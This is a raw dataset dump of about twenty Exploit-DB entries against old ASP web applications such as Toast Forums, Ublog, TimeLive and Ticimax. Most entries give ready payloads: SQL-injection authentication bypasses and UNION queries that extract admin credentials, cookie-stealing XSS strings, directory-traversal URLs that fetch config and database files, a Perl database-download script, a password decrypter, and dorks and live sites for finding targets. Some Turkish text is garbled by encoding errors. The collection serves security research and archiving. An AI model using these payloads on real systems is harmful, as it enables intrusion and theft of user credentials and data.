deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7802
Description: The Walking Club - Authentication Bypass
Type: webapps
Platform: asp
Date: 2009-01-16
Author: ByALBAYX

Exploit:
#----C4TEAM.ORG---ByALBAYX----C4TEAM.ORG----#
#############################################
[~]Author   : ByALBAYX

[~]Website  : WWW.C4TEAM.ORG
#############################################
[~]The Walking Club (Auth Bypass)

[~]Script        : The Walking Club

[~]Price         : $39   :) 

[~]Demo          : http://warhound.com/ASP/walking/login.aspx

[~]Details       : http://warhound.com/asp/products.htm
#############################################
[~]Admin     :  [PATH] /walking/login.aspx

[~]username  : ' or '1

[~]password  : ' or '1
#############################################
[~]횆째횇타inize Baq횆짹n :=)

[~]Greetz For C4TEAM Members
#############################################
Derdimi dinledim, derdimden 횆째횆탑REND횆째M...
Onun derdini g횄쨋rd횄쩌m, derdime 횆째MREND횆째M...
----------
FilistiN

# milw0rm.com [2009-01-16]
Exploit-DB #12841
Description: Ticimax E-Ticaret - SQL Injection
Type: webapps
Platform: asp
Date: 2010-06-01
Author: Neuromancer

Exploit:
# Exploit Title: [Ticimax E-Ticaret ( SQL Injection ) ]
# Date: [01.06.2010]
# Author: [Neuromancer]
# Version: [app version]
# CVE : [if exists]
# Code : [exploit code] 


#####################
# Author: [Neuromancer]
# contact : msn[at]neurom4ncer[dot]com
# From : TURKEY
#####################


Ticimax e-ticaret ( Kategori.asp, urun_detay.aspLocal SQL Injection Vulnerability

Dork : "Bu Site Ticimax E-Ticaret yaz&#305;l&#305;m&#305; ile haz&#305;rlanm&#305;&#351;t&#305;r"


======================================================================

                       --=[ Vuln C0de ]=-
 
                               [-] localhost/kategori.asp?id='
                               [-] localhost/urun_detay.asp?id='

http://[Site].com/kategori.asp?id=1 order by 1
http://[Site].com/kategori.asp?id=1 union select x,x,group_concat(table_name)+from+information.schema.tables

or

http://[Site].com/kategori.asp?id=1 union select * from admin

=========================| -=[ Attackerz Crew co. ]=- |=========================

Gr33t'z; h4cker.tr, by_fatih, by.kiki, TheNesa, RedMasTeR
Exploit-DB #17900
Description: timelive time and expense tracking 4.1.1 - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2011-09-28
Author: Nathaniel Carew

Exploit:
###############################################################################
# Exploit Title	: TimeLive Time and Expense Tracking <= Multiple Vulnerabilities
# Vulnerability	: Directory Traversal / Remote Database Download / File Download / Source Code Disclosure
# Date		: 28/09/2011
# Author	: Nathaniel Carew
# Impact	: High
# Software Link	: http://www.livetecs.com/Release/TimeLiveWebSetup.exe
# Platform	: ASP.NET
# Version	: 4.1.1
# Tested on	: Windows Server Standard 2003 SP 2 / IIS 6
# Thanks	: Peregrinus & shiznat
###############################################################################

Overview:
---------
When using the import/export feature for csv/project/quickbooks files under:

http://localhost/TimeLive/AccountAdmin/AccountImportExport.aspx

You are able to modify the file download URL you are redirected too 
and traverse directories to download the hosted files including the TimeLive database:

Proof of Concept:
-----------------
http://localhost/TimeLive/Shared/FileDownload.aspx?FileName=..\web.config
http://localhost/TimeLive/Shared/FileDownload.aspx?FileName=..\App_Data\TimeLive.mdf
http://localhost/TimeLive/Shared/FileDownload.aspx?FileName=..\Log\TimeLive.log

Impact:
-------
Successful exploitation could allow an attacker to download the complete database of users information
including email addresses, usernames and passwords and associated timesheet and expense data along with
any files contained within the subfolder of wwwroot.
Exploit-DB #27479
Description: Toast Forums 1.6 - 'Toast.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2006-03-27
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17249/info

Toast Forums is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.6 and prior are vulnerable; other versions may also be affected.

http://www.example.com/toast.asp?action=posts&sub=search&fid=-1&author=[XSS]

http://www.example.com/toast.asp?action=posts&sub=search&fid=-1&author=r0t&subject=[XSS] 

http://www.example.com/toast.asp?action=posts&sub=search&fid=-1&author=r0t&subject=&message=[XSS]

http://www.example.com/toast.asp?action=posts&sub=search&fid=-1&author=r0t&subject=&message=&dayprune=[XSS]
Exploit-DB #10558
Description: Toast Forums 1.8 - Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-19
Author: ViRuSMaN

Exploit:
==============================================================================
                      _      _       _          _      _   _
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|


==============================================================================
        [»] ~ Note : Thx 2 Egyptian National Team
==============================================================================
        [»] Toast Forums v1.8 Database Disclosure Vulnerability
==============================================================================

    [»] Script:             [ Toast Forums v1.8 ]
    [»] Language:           [ ASP ]
    [»] Site page:          [ Toast Forums World's first user-skinnable message board! ]
    [»] Download:           [ http://www.toastforums.com/download/ ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & pentestlabs.com  ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

    [»] http://[target].com/[path]/data/data.mdb



Author: ViRuSMaN <-

###########################################################################
Exploit-DB #5781
Description: Todd Woolums ASP News Management 2.2 - SQL Injection
Type: webapps
Platform: asp
Date: 2008-06-10
Author: Bl@ckbe@rD

Exploit:
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

[+] Script Name    : AspNews Remote SQL Injection Exploit

|+| Team           : InjEct0r5

[+] Author         : Bl@ckbe@rD ('Tunisian TerrorisT') ;

[+] Contact        : blackbeard-sql[A.T]hotmail{.}fr ;

--//-->

[+] Expl0iT :

/aspnews/viewnews.asp?newsID={SQL}

{SQL} -->  8+union+select+name+from+msysobjects

Or blind it :

{SQL} -->  IIF((select%20mid(last(Name),1,1)%20from%20(select%20top%2010%20Name%20from%20MSysObjects))='a',0,'Bingo')%00

--//-->

[+] GrEEtZ : allah , Xerror , hak3r-b0y ,King Of Hacker , UnderZ0ne Crew...

# milw0rm.com [2008-06-10]
Exploit-DB #1550
Description: TotalECommerce 1.0 - 'index.asp?id' SQL Injection
Type: webapps
Platform: asp
Date: 2006-03-04
Author: nukedx

Exploit:
Original advisory: http://www.nukedx.com/?viewdoc=18
Advisory by: nukedx
Full PoC
Explotation:
GET -> http://[victim]/[dir]/index.asp?secao=[PageID]&id=[SQL]
EXAMPLE 1 -> http://[victim]/[dir]/index.asp?secao=25&id=-1+UNION+select+senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha+from+administradores
EXAMPLE 2 -> http://[victim]/[dir]/index.asp?secao=25&id=-1+UNION+select+login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login+from+administradores
with example 1 remote attacker can get admin's encrypted password and with example 2 remote attacker can get admin's login name
[PageID]: must be working page id you can get some from frontpage.
<--Decrypter code-->
<--Note: This decrypter just decrypts default data
If webmaster changed te_chave value in funcoes.asp
this decrypter wont decrypt data so you need to 
make your own decrypter
-->
<--C Source-->
/*********************************************
*        TotalECommerce PWD Decrypter        *
*        Coded by |SaMaN| for nukedx         *
*          http://www.k9world.org            *
*              IRC.K9World.Org               *
*Advisory: http://www.nukedx.com/?viewdoc=18 *
**********************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>

int main()
{
  char buf[255];
  char buf2[255];
  char buf3[255];
  char *texto;
  char *vcrypt;   
  int i,x,z,t = 0;
  char saman;
  texto = buf;
  vcrypt = buf2;
  printf("%s", "|=------------------------------------=|\n");
  printf("%s", "   Coded by |SaMaN| @ IRC.K9World.Org\n");
  printf("%s", "|=------------------------------------=|\n\n");
  printf("%s", "Enter crypted password: ");
  scanf("%200s", buf);
  if (!texto)
  vcrypt = "";

  for (i = 0; i < strlen(texto); i++)
  {
    if ((vcrypt == "") || (i > strlen(texto)))
    x = 1;
    else 
    x = x + 1;
    t = buf[i];
    z = 255 - t;
    saman = toascii(z);
    snprintf(buf3, 250, "%c", saman);
    strncat(buf2, buf3, 250);
  }
  printf("Result: %s\n", buf2);
  return;
}
<--End of code-->
<--Thanks |SaMaN| for decrypter-->

// milw0rm.com [2006-03-04]
Exploit-DB #15191
Description: TradeMC E-Ticaret - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2010-10-02
Author: KnocKout

Exploit:
===================================================
TradeMC E-Ticaret - (SQLi/XSS) Multiple Vulnerabilities
===================================================

~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockoutr@msn.com
[+] Special Thanks : H4x0re Security 2010, inj3ct0r team
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Web App. : TradeMC E-Ticaret
~Software: http://www.trademc.net/
~Vulnerability Style : SQL-i (XSS) Multiple
~Google Keywords : "TradeMC Tarafýndan Hazýrlanmýþtýr"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Meterials : SQLInjection TOOL or Table name Bruteforcer
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
    ~~~~~~~~ Explotation  XSS ~~~~~~~~~~~
 
 Cross site Scripting:
 
http://Victim]/giris-hata.asp?returnURL=sepet.asp[Site SCRIPTING]
http://Victim]/giris-hata.asp?returnURL=sepet.asp%22%3E%3Ch1%3Eh4x0reSEC%3C/h1%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

    ~~~~~~~~ Explotation SQL-i~~~~~~~~~~~
 
 SQL Injection(MSACCESS):
 
http://[Victim]/sayfa.asp?i=34' {Microsoft JET Database Engine error '80040e14'
~ SQL Injection : ON

http://[Victim]/sayfa.asp?i=34[SQL Injection]

http://[Victim]/sayfa.asp?i=34+and%201=1 {true}
http://[Victim]/sayfa.asp?i=34+and%201=0 {false}

goodluck.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit-DB #2362
Description: TualBLOG 1.0 - 'icerikno' SQL Injection
Type: webapps
Platform: asp
Date: 2006-09-13
Author: RMx

Exploit:
# BiyoSecurity.Org
# script name : TualBLOG v 1.0
# Risk : High
# Regards : Dj ReMix
# Thanks : Korsan , Liz0zim
# Vulnerable file : icerik.asp

exp :
http://site.com/[path]/icerik.asp?icerikno=-1%20union+select+mail,sifre,uyeadi+from+tbl_uye+where+uyeno=1

uyeno = 1 or 2( Admin ID )

# milw0rm.com [2006-09-13]
Exploit-DB #29611
Description: Turuncu Portal 1.0 - 'H_Goster.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-02-16
Author: chernobiLe

Exploit:
source: https://www.securityfocus.com/bid/22591/info

Turuncu Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/h_goster.asp?id=1+union+select+0,MsEmail,MsUserName,MsPassword,4+from+uyeler
Exploit-DB #25845
Description: UApplication Ublog Reload 1.0.5 - 'Trackback.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-06-20
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/13994/info

Ublog Reload is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/UblogReload/trackback.asp?bi=[id]&btitle=[XSS]&mode=view
http://www.example.com/UblogReload/trackback.asp?bi=343&btitle=<script>alert('document.cookie')</script>&mode=view
Exploit-DB #29224
Description: UApplication Uguestbook 1.0 - 'index.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-04
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21426/info

Uapplication Uguestbook is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

UPDATE: This BID is being retired because further information shows that the application is not vulnerable to this issue.

http://www.example.com/index.asp?Block=1&page=[SQL INJECTION]
Exploit-DB #8610
Description: Ublog access version - Arbitrary Database Disclosure
Type: webapps
Platform: asp
Date: 2009-05-04
Author: Cyber-Zone

Exploit:
#!/usr/bin/perl
#
#
# Ublog access version
# mdb-database/blog.mdb
# dork : http://www.google.co.ma/search?q=index.asp%3Farchivio%3DOK&hl=fr&start=20&sa=N
# demos :
# http://radiologyhunters.com/blog/mdb-database/blog.mdb
# http://foges.net/mdb-database/blog.mdb
# http://www.geoaurea.it/mdb-database/blog.mdb
#
#
use LWP::Simple;
use LWP::UserAgent;

print "\tUblog access version Arbitrary Database Disclosure Exploit\n";

print "\t****************************************************************\n";
print "\t*      Found And Exploited By : Cyber-Zone (ABDELKHALEK)       *\n";
print "\t*           E-mail : Paradis_des_fous[at]hotmail.fr            *\n";
print "\t*          Home : WwW.IQ-TY.CoM , WwW.No-Exploit.CoM           *\n";
print "\t*               From : MoroccO Figuig/Oujda City               *\n";
print "\t****************************************************************\n\n\n\n";
if(@ARGV < 1)
{
&help; exit();
}
sub help()
{
print "[X] Usage : perl $0 site \n";
print "[X] Exemple : perl $0 www.site.com \n";
}
($site) = @ARGV;
print("Please Wait ! Connecting To The Server ......\n\n");
sleep(5);
$database = "mdb-database/blog.mdb";
my $exploit = "http://" . $site . "/" . $database;
print("Searching For file ...\n\n");
sleep(3);
$doexploit=get $exploit;
if($doexploit){
print("..........................File Contents...........................\n");
print("$doexploit\n");
print("..............................EOF.................................\n");
}
else {
help();
exit;
}

# milw0rm.com [2009-05-04]
Exploit-DB #25844
Description: Ublog Reload 1.0.5 - 'blog_comment.asp?y' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-20
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/13991/info
 
Ublog Reload is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/UblogReload/blog_comment.asp?bi=71&m=6&y=2005'&d=&s=category
Exploit-DB #25843
Description: Ublog Reload 1.0.5 - 'index.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2005-06-20
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/13991/info

Ublog Reload is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/UblogReload/index.asp?ci='62&s=category
http://www.example.com/UblogReload/index.asp?d=11'&m=6&y=2005&s=day
http://www.example.com/UblogReload/index.asp?m=6'&y=2005&s=month
Exploit-DB #10775
Description: Uguestbook - Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-29
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Asp Uguestbook DB Download Vulnerability                                |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Uguestbook !talian script                                               |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : DB                                                                      | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://server/Uguestbook/mdb-database/guestbook.mdb
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * 
-------------------------------------------------------------------------------------------
Exploit-DB #2881
Description: Ultimate HelpDesk - Cross-Site Scripting / Local File Disclosure
Type: webapps
Platform: asp
Date: 2006-12-01
Author: ajann

Exploit:
*******************************************************************************
# Title   :  Ultimate HelpDesk All Version (Source/XSS) Vulnerabilities
# Author  :   ajann
# Contact :   :(

*******************************************************************************

Login Before Vulnerabilities.:


[[SOURCE]]]------------------------------------------------------

http://[target]/[path]//getfile.asp?filename=[SQL]

Example:

//getfile.asp?filename=../index.asp
//getfile.asp?filename=../../../boot.ini

[[/SOURCE]]]


[[XSS]]]---------------------------------------------------------

http://[target]/[path]//index.asp?status=open&page=tickets&title=39&searchparam=&u_input=&u_field=&intpage=2&keyword=[XSS]

Example:

//index.asp?status=open&page=tickets&title=39&searchparam=&u_input=&u_field=&intpage=2&keyword=%22%3E%3Cscript%3Ealert%28%27ajann%27%29%3B%3C%2Fscript%3E

[[/XSS]]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-01]
Exploit-DB #29195
Description: uPhotoGallery 1.1 - 'Slideshow.asp?ci' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-27
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21319/info

uPhotoGallery is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/slideshow.asp?img_id=290&ci=[SQL Injection]
Exploit-DB #29196
Description: uPhotoGallery 1.1 - 'thumbnails.asp?ci' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-27
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21319/info
 
uPhotoGallery is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/thumbnails.asp?ci=[SQL Injection]
Exploit-DB #2765
Description: UPublisher 1.0 - 'viewarticle.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-12
Author: ajann

Exploit:
*******************************************************************************
# Title  :  UPublisher 1.0 (viewarticle.asp) Remote SQL Injection
Vulnerability
# Author :   ajann
# Dork   :   UPublisher
# Vendor: http://www.superfreaker.com/


*******************************************************************************

###http://[target]/[path]//viewarticle.asp?ID=[SQL]

Example:

//viewarticle.asp?ID=-1%20union%20select%200,password,username,0,0,0,0%20from%20tblusers
OR ---
//viewarticle.asp?ID=-1%20union%20select%200,0,username,password,0,0,0,0,0%20from%20tblusers

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-12]